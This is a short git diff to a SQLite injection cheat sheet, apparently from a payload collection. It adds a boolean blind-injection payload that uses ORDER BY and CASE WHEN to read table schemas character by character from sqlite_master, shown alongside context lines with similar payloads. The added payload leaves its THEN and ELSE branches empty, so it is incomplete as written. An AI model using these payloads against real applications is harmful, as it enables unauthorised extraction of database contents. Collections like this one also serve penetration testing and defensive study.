diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 2cdc050..f7d9455 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -71,6 +71,13 @@ and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') ``` +## Boolean - Extract info (order by) + +```sql +CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN ELSE END +``` + + ## Time based ```sql